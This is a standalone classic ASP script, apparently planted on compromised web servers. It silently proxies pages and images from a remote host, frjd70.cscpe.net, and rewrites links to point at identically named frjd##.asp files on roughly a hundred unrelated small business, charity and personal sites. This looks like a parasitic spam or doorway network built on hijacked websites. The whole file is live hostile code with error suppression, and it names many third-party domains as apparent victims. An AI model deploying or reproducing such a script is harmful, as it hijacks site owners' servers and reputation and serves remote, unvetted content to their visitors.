<%@LANGUAGE="VBScript.Encode" CODEPAGE="65001"%> <% on error resume next thissite="" fromsite="http://frjd70.cscpe.net" path="frjd70.asp?" thispage="" dim filetype(8,1) filetype(0,0)=".png" filetype(0,1)="image/png" filetype(1,0)=".jpg" filetype(1,1)="image/jpg" filetype(2,0)=".jpeg" filetype(2,1)="image/jpeg" filetype(3,0)=".gif" filetype(3,1)="image/gif" filetype(4,0)=".css" filetype(4,1)="text/css" filetype(5,0)=".js" filetype(5,1)="text/javascript" filetype(6,0)=".atom" filetype(6,1)="application/atom+xm" filetype(7,0)=".xml" filetype(7,1)="text/xml" filetype(8,0)="/feed" filetype(8,1)="text/xml; charset=UTF-8" Function getHTTPPage(URL,Types) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function if Types=0 then getHTTPPage = Bytes2Bytes(HTTPReq.responseBody) else getHTTPPage = Bytes2bStr(HTTPReq.responseBody) end if Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "utf-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function Function Bytes2Bytes(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 1 BytesStream.Open BytesStream.Write vin BytesStream.Position = 0 BytesReturn =BytesStream.Read() BytesStream.close Set BytesStream = Nothing Bytes2Bytes = BytesReturn End Function function parentn(path) dim i path=replace(path,"\","/") for i=0 to len(path)-1 if mid(path,len(path)-i,1)="/" or mid(path,len(path)-i,1)="" then exit for end if next parentn=left(path,len(path)-i-1) end function REFERER = Cstr(Request.ServerVariables("HTTP_REFERER")) lan=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") q=request.ServerVariables("QUERY_STRING") q=replace(q,thissite&path&"/",thissite&path) q=replace(q,".css&",".css?") q=replace(q,"&p=","?p=") q=replace(q,"p=","?p=") q=replace(q,".php&rsd",".php?rsd") q=replace(q,".js&",".js?") if InStr(LCase(q),".png")>0 or InStr(LCase(q),".jpg")>0 or InStr(LCase(q),".gif")>0 or InStr(LCase(q), ".jpeg")>0 then htmls = getHTTPPage(fromsite&"/"&q,0) For i = 0 To 3 if(InStr(LCase(q),filetype(i,0))>0) then response.ContentType =filetype(i,1) exit for else end if Next Response.BinaryWrite htmls response.end else htmls = getHTTPPage(fromsite&"/"&q,1) htmls = replace(htmls,fromsite,thissite&path&thispage) htmls = replace(htmls,thissite&path&"/",thissite&path) htmls = replace(htmls,"http://frjd01.cscpe.net/","http://www.a-tp-tama38.co.il/frjd01.asp?") htmls = replace(htmls,"http://frjd02.cscpe.net/","http://www.a-tp.co.il/frjd02.asp?") htmls = replace(htmls,"http://frjd03.cscpe.net/","http://www.alav.co.il/frjd03.asp?") htmls = replace(htmls,"http://frjd04.cscpe.net/","http://www.dim7.com/frjd04.asp?") htmls = replace(htmls,"http://frjd05.cscpe.net/","http://www.djeasy.co.il/frjd05.asp?") htmls = replace(htmls,"http://frjd06.cscpe.net/","http://www.dreamium.co.il/frjd06.asp?") htmls = replace(htmls,"http://frjd07.cscpe.net/","http://www.elemento-design.com/frjd07.asp?") htmls = replace(htmls,"http://frjd08.cscpe.net/","http://www.fairmarketing.co.il/frjd08.asp?") htmls = replace(htmls,"http://frjd09.cscpe.net/","http://www.iris1995.co.il/frjd09.asp?") htmls = replace(htmls,"http://frjd10.cscpe.net/","http://www.knob.co.il/frjd10.asp?") htmls = replace(htmls,"http://frjd11.cscpe.net/","http://www.mywaypro.com/frjd11.asp?") htmls = replace(htmls,"http://frjd12.cscpe.net/","http://www.portcafe.co.il/frjd12.asp?") htmls = replace(htmls,"http://frjd13.cscpe.net/","http://www.shaulzer.com/frjd13.asp?") htmls = replace(htmls,"http://frjd14.cscpe.net/","http://www.skyproductions.co.il/frjd14.asp?") htmls = replace(htmls,"http://frjd15.cscpe.net/","http://www.spetrotec.co.il/frjd15.asp?") htmls = replace(htmls,"http://frjd16.cscpe.net/","http://www.wineroute.co.il/frjd16.asp?") htmls = replace(htmls,"http://frjd17.cscpe.net/","http://www.xedit.co.il/frjd17.asp?") htmls = replace(htmls,"http://frjd18.cscpe.net/","http://www.yoel-b.com/frjd18.asp?") htmls = replace(htmls,"http://frjd19.cscpe.net/","http://www.yoffe.co.il/frjd19.asp?") htmls = replace(htmls,"http://frjd20.cscpe.net/","http://www.colours.gcsemandarin.com/frjd20.asp?") htmls = replace(htmls,"http://frjd21.cscpe.net/","http://www.bevies.co.uk/frjd21.asp?") htmls = replace(htmls,"http://frjd22.cscpe.net/","http://www.adenvi.co.uk/frjd22.asp?") htmls = replace(htmls,"http://frjd23.cscpe.net/","http://www.shropshirevisualarts.vanetwork.co.uk/frjd23.asp?") htmls = replace(htmls,"http://frjd24.cscpe.net/","http://www.upcher.co.uk/frjd24.asp?") htmls = replace(htmls,"http://frjd25.cscpe.net/","http://www.wsm1972.co.uk/frjd25.asp?") htmls = replace(htmls,"http://frjd26.cscpe.net/","http://www.adl-solicitors.co.uk/frjd26.asp?") htmls = replace(htmls,"http://frjd27.cscpe.net/","http://www.testmj.moonjupiter.co.uk/frjd27.asp?") htmls = replace(htmls,"http://frjd28.cscpe.net/","http://www.poundfarmfishingholidays.co.uk/frjd28.asp?") htmls = replace(htmls,"http://frjd29.cscpe.net/","http://www.jdmaccountancy.co.uk/frjd29.asp?") htmls = replace(htmls,"http://frjd30.cscpe.net/","http://www.cifexworld.com/frjd30.asp?") htmls = replace(htmls,"http://frjd31.cscpe.net/","http://www.nibrsa.co.uk/frjd31.asp?") htmls = replace(htmls,"http://frjd32.cscpe.net/","http://www.admin.friendsofbolivia.org.uk/frjd32.asp?") htmls = replace(htmls,"http://frjd33.cscpe.net/","http://www.pcrepaircourse.co.uk/frjd33.asp?") htmls = replace(htmls,"http://frjd34.cscpe.net/","http://www.sportsandmediamanagement.com/frjd34.asp?") htmls = replace(htmls,"http://frjd35.cscpe.net/","http://www.darentvalleyraceway.co.uk/frjd35.asp?") htmls = replace(htmls,"http://frjd36.cscpe.net/","http://www.heraldryandcalligraphy.com/frjd36.asp?") htmls = replace(htmls,"http://frjd37.cscpe.net/","http://www.clermontsearch.com/frjd37.asp?") htmls = replace(htmls,"http://frjd38.cscpe.net/","http://www.chihuahuanook.com/frjd38.asp?") htmls = replace(htmls,"http://frjd39.cscpe.net/","http://www.contact.windni.com/frjd39.asp?") htmls = replace(htmls,"http://frjd40.cscpe.net/","http://www.scottishmassage.co.uk/frjd40.asp?") htmls = replace(htmls,"http://frjd41.cscpe.net/","http://www.comedyentertainment.co.uk/frjd41.asp?") htmls = replace(htmls,"http://frjd42.cscpe.net/","http://www.bhsea.org.uk/frjd42.asp?") htmls = replace(htmls,"http://frjd43.cscpe.net/","http://www.woking-palace.org/frjd43.asp?") htmls = replace(htmls,"http://frjd44.cscpe.net/","http://www.fbac.co.uk/frjd44.asp?") htmls = replace(htmls,"http://frjd45.cscpe.net/","http://www.lightship95.com/frjd45.asp?") htmls = replace(htmls,"http://frjd46.cscpe.net/","http://www.me.wsm1972.co.uk/frjd46.asp?") htmls = replace(htmls,"http://frjd47.cscpe.net/","http://www.moneydarraghps.org/frjd47.asp?") htmls = replace(htmls,"http://frjd48.cscpe.net/","http://www.heydays.comedyentertainment.co.uk/frjd48.asp?") htmls = replace(htmls,"http://frjd49.cscpe.net/","http://www.wfaheartofengland.org.uk/frjd49.asp?") htmls = replace(htmls,"http://frjd50.cscpe.net/","http://www.auldalliance.co.uk/frjd50.asp?") htmls = replace(htmls,"http://frjd51.cscpe.net/","http://www.timsfamily.com/frjd51.asp?") htmls = replace(htmls,"http://frjd52.cscpe.net/","http://www.carmelpontlliw.co.uk/frjd52.asp?") htmls = replace(htmls,"http://frjd53.cscpe.net/","http://www.purelycoaching.co.uk/frjd53.asp?") htmls = replace(htmls,"http://frjd54.cscpe.net/","http://www.massivearts.co.uk/frjd54.asp?") htmls = replace(htmls,"http://frjd55.cscpe.net/","http://www.mjmflt.co.uk/frjd55.asp?") htmls = replace(htmls,"http://frjd56.cscpe.net/","http://www.jennyhewitt.com/frjd56.asp?") htmls = replace(htmls,"http://frjd57.cscpe.net/","http://www.retreat.sgasuk.co.uk/frjd57.asp?") htmls = replace(htmls,"http://frjd58.cscpe.net/","http://www.windni.co.uk/frjd58.asp?") htmls = replace(htmls,"http://frjd59.cscpe.net/","http://www.protobuild.co.uk/frjd59.asp?") htmls = replace(htmls,"http://frjd60.cscpe.net/","http://www.playabastian.com/frjd60.asp?") htmls = replace(htmls,"http://frjd61.cscpe.net/","http://www.multimoney.eu/frjd61.asp?") htmls = replace(htmls,"http://frjd62.cscpe.net/","http://www.passionforlife.me.uk/frjd62.asp?") htmls = replace(htmls,"http://frjd63.cscpe.net/","http://www.williamsonsheds.co.uk/frjd63.asp?") htmls = replace(htmls,"http://frjd64.cscpe.net/","http://www.chrisbarnham.com/frjd64.asp?") htmls = replace(htmls,"http://frjd65.cscpe.net/","http://www.ramblers.wsm1972.co.uk/frjd65.asp?") htmls = replace(htmls,"http://frjd66.cscpe.net/","http://www.towercottages.com/frjd66.asp?") htmls = replace(htmls,"http://frjd67.cscpe.net/","http://www.catherinelima.com/frjd67.asp?") htmls = replace(htmls,"http://frjd68.cscpe.net/","http://www.casper.massivearts.co.uk/frjd68.asp?") htmls = replace(htmls,"http://frjd69.cscpe.net/","http://www.breed.wsm1972.co.uk/frjd69.asp?") htmls = replace(htmls,"http://frjd70.cscpe.net/","http://www.webdevservices.net/frjd70.asp?") htmls = replace(htmls,"http://frjd71.cscpe.net/","http://www.victoriajohnson.co.uk/frjd71.asp?") htmls = replace(htmls,"http://frjd72.cscpe.net/","http://www.arthritisassociation.org.uk/frjd72.asp?") htmls = replace(htmls,"http://frjd73.cscpe.net/","http://www.moonjupiter.co.uk/frjd73.asp?") htmls = replace(htmls,"http://frjd74.cscpe.net/","http://www.trackandrace.com/frjd74.asp?") htmls = replace(htmls,"http://frjd75.cscpe.net/","http://www.oc-photos.com/frjd75.asp?") htmls = replace(htmls,"http://frjd76.cscpe.net/","http://www.martinkellyphotography.co.uk/frjd76.asp?") htmls = replace(htmls,"http://frjd77.cscpe.net/","http://www.margaretfraser.co.uk/frjd77.asp?") htmls = replace(htmls,"http://frjd78.cscpe.net/","http://www.uklocos.com/frjd78.asp?") htmls = replace(htmls,"http://frjd79.cscpe.net/","http://www.forum.vanetwork.co.uk/frjd79.asp?") htmls = replace(htmls,"http://frjd80.cscpe.net/","http://www.hardlabourgym.co.uk/frjd80.asp?") htmls = replace(htmls,"http://frjd81.cscpe.net/","http://www.dogsaloud.net/frjd81.asp?") htmls = replace(htmls,"http://frjd82.cscpe.net/","http://www.oldtowncemetery.co.uk/frjd82.asp?") htmls = replace(htmls,"http://frjd83.cscpe.net/","http://www.mattsav.co.uk/frjd83.asp?") htmls = replace(htmls,"http://frjd84.cscpe.net/","http://www.drivingplaces.co.uk/frjd84.asp?") htmls = replace(htmls,"http://frjd85.cscpe.net/","http://www.gcsemandarin.com/frjd85.asp?") htmls = replace(htmls,"http://frjd86.cscpe.net/","http://www.tri-sol.com/frjd86.asp?") htmls = replace(htmls,"http://frjd87.cscpe.net/","http://www.meadowcottagestaveley.co.uk/frjd87.asp?") htmls = replace(htmls,"http://frjd88.cscpe.net/","http://www.visionentertainments.co.uk/frjd88.asp?") htmls = replace(htmls,"http://frjd89.cscpe.net/","http://www.sgasuk.co.uk/frjd89.asp?") htmls = replace(htmls,"http://frjd90.cscpe.net/","http://www.cestaric.com/frjd90.asp?") htmls = replace(htmls,"http://frjd91.cscpe.net/","http://www.christianjusinski.com/frjd91.asp?") htmls = replace(htmls,"http://frjd92.cscpe.net/","http://www.sghoa.com/frjd92.asp?") htmls = replace(htmls,"http://frjd93.cscpe.net/","http://www.nidus-corp.com/frjd93.asp?") htmls = replace(htmls,"http://frjd94.cscpe.net/","http://www.ivpresearch.org/frjd94.asp?") htmls = replace(htmls,"http://frjd95.cscpe.net/","http://www.starinstitute.net/frjd95.asp?") htmls = replace(htmls,"http://frjd96.cscpe.net/","http://www.dfin.com/frjd96.asp?") htmls = replace(htmls,"http://frjd97.cscpe.net/","http://www.creditsunrise.com/frjd97.asp?") htmls = replace(htmls,"http://frjd98.cscpe.net/","http://www.starinstitute.net/frjd98.asp?") htmls = replace(htmls,"http://frjd99.cscpe.net/","http://www.dfin.com/frjd99.asp?") htmls = replace(htmls,"http://frjd100.cscpe.net/","http://www.creditsunrise.com/frjd100.asp?") if(InStr(q,".css")>0) then htmls = replace(htmls,"url(""","url("""&thissite&path&thispage&"?"&parentn(q)&"/") end if For i = 4 To UBound(filetype,1) if(InStr(q,filetype(i,0))>0) then response.ContentType =filetype(i,1) exit for else end if Next response.write htmls end if %>